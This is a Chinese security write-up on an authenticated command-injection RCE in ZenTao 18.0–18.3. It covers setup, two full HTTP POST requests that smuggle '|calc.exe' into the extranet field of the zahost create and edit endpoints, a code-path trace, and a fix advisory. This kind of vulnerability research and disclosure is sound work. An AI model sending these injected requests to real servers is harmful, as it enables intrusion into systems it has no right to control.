漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
禅道后台存在 RCE 漏洞,存在于 V18.0-18.3 之间,经过复现分析,发现漏洞来源于新增加的一个功能模块。
禅道后台命令执行漏洞
环境搭建
源码下载地址 https://www.zentao.net/dl/zentao/18.2/ZenTaoPMS.18.2.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台后访问添加宿主机


POST /index.php?m=zahost&f=create HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722
Connection: close
vsoft=kvm&hostType=physical&name=test2&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za

漏洞分析
这是禅道新增加的一个功能


module/zahost/control.php#create

module/zahost/model.php#create

module/zahost/model.php#checkAddress

module/zahost/model.php#ping

POST /index.php?m=zahost&f=edit&hostID=1 HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722;XDEBUG_SESSION=PHPSTORM
Connection: close
vsoft=kvm&hostType=physical&name=test4&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za
这样也是可以触发的
model.php:119, zahostModel-\>ping()
model.php:149, zahostModel-\>checkAddress()
model.php:94, zahostModel-\>update()
control.php:130, zahost-\>edit()
router.class.php:2199, router-\>loadModule()
index.php:74, {main}()
修复建议
更新至最新版本

执行命令时对地址进行了校验
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!
靶场实操,戳“阅读原文”